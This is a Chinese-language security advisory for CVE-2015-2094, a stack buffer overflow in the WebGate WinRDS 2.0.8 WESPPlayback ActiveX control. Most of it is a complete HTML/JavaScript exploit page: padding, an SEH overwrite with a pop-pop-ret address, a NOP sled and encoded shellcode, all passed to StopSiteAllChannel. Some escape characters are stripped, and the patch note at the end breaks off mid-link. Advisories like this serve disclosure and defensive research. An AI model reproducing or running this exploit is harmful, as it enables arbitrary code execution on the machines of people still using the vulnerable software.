WebGate WinRDS 2.0.8 StopSiteAllChannel 栈溢出漏洞

发布日期：2015-03-27
更新日期：2015-03-30受影响系统：
Webgate WinRDS 2.0.8
描述：
CVE（CAN） ID: CVE-2015-2094 WebGate WinRDS可通过网络传输DVR视频流。WebGate WinRDS中，WESPPlayback.WESPPlaybackCtrl.1控件存在栈缓冲区溢出漏洞，通过PrintSiteImage、PlaySiteAllChannel、StopSiteAllChannel、SaveSiteImage函数相关矢量，远程攻击者可利用此漏洞执行任意代码。<*来源：Dave Weinstein

链接：http://www.zerodayinitiative.com/advisories/ZDI-15-074/
*>测试方法：警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability （0Day）</title>
<！--
# Exploit Title: WebGate WinRDS StopSiteAllChannel Stack Overflow SEH Overwrite （0Day）
# Google Dork: [if relevant] （we will automatically add these to the GHDB）
# Date: 27th March, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi/eng/index.php？svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
# Version: WinRDS 2.0.8
# Tested on: Windows XP SP3 using IE/6/7/8
# CVE : 2015-2094 targetFile = "C:WINDOWSsystem32WESPSDKWESPPlayback.dll"
prototype = "Sub StopSiteAllChannel （ ByVal SiteSerialNumber As String ）"
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
Vulnerable Product = WinRDS 2.0.8
Software = http://www.webgateinc.com/wgi/eng/index.php？svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
-->
<object classid="clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8" id="ssac">
</object>
<script> var buff1 = "";
var nops = "";
var buff2 = ""; for （i=0;i<128; i++）
{
buff1 += "B";
} nseh = "xebx08PD";
//pop pop ret = 1007f2a0 （0x1007f29e） 1007f2a0
var seh = "xa0xf2x07x10";
for （i=0;i<80; i++）
{
nops += "x90";
}
sc = "x54x5dxdaxc9xd9x75xf4x59x49x49x49x49x49" +
"x43x43x43x43x43x43x51x5ax56x54x58x33x30" +
"x56x58x34x41x50x30x41x33x48x48x30x41x30" +
"x30x41x42x41x41x42x54x41x41x51x32x41x42" +
"x32x42x42x30x42x42x58x50x38x41x43x4ax4a" +
"x49x4bx4cx5ax48x4bx32x45x50x55x50x43x30" +
"x53x50x4bx39x4dx35x30x31x4fx30x52x44x4c" +
"x4bx56x30x46x50x4cx4bx31x42x34x4cx4cx4b" +
"x31x42x44x54x4cx4bx32x52x47x58x54x4fx38" +
"x37x50x4ax37x56x46x51x4bx4fx4ex4cx57x4c" +
"x35x31x33x4cx33x32x46x4cx37x50x49x51x48" +
"x4fx34x4dx45x51x4fx37x4dx32x4ax52x36x32" +
"x46x37x4cx4bx36x32x32x30x4cx4bx30x4ax37" +
"x4cx4cx4bx30x4cx32x31x54x38x5ax43x51x58" +
"x33x31x4ex31x30x51x4cx4bx36x39x47x50x53" +
"x31x48x53x4cx4bx30x49x35x48x5ax43x36x5a" +
"x57x39x4cx4bx46x54x4cx4bx33x31x49x46x56" +
"x51x4bx4fx4ex4cx49x51x38x4fx54x4dx35x51" +
"x58x47x37x48x4dx30x34x35x4ax56x43x33x43" +
"x4dx5ax58x37x4bx43x4dx46x44x43x45x4dx34" +
"x56x38x4cx4bx56x38x31x34x43x31x4ex33x42" +
"x46x4cx4bx44x4cx30x4bx4cx4bx36x38x45x4c" +
"x45x51x4ex33x4cx4bx54x44x4cx4bx33x31x48" +
"x50x4cx49x57x34x36x44x51x34x51x4bx51x4b" +
"x33x51x30x59x50x5ax36x31x4bx4fx4bx50x31" +
"x4fx51x4fx51x4ax4cx4bx42x32x5ax4bx4cx4d" +
"x31x4dx53x5ax35x51x4cx4dx4cx45x58x32x43" +
"x30x53x30x55x50x56x30x42x48x50x31x4cx4b" +
"x42x4fx4dx57x4bx4fx59x45x4fx4bx5ax50x48" +
"x35x4fx52x30x56x53x58x4ex46x5ax35x4fx4d" +
"x4dx4dx4bx4fx38x55x47x4cx53x36x33x4cx45" +
"x5ax4bx30x4bx4bx4bx50x43x45x43x35x4fx4b" +
"x47x37x32x33x53x42x42x4fx42x4ax55x50x46" +
"x33x4bx4fx49x45x43x53x53x51x52x4cx52x43" +
"x36x4ex55x35x44x38x33x55x33x30x41x41";
for （i=0;i<（5000 - （buff1.length + nseh.length + seh.length + nops.length + sc.length））; i++）
{
buff2 += "A";
} fbuff = buff1 + nseh + seh + nops + sc + buff2;
ssac.StopSiteAllChannel（fbuff）; </script>
</html>建议：
厂商补丁：Webgate
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://www.webgateinc.com/wgi/eng/index.php？svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&pt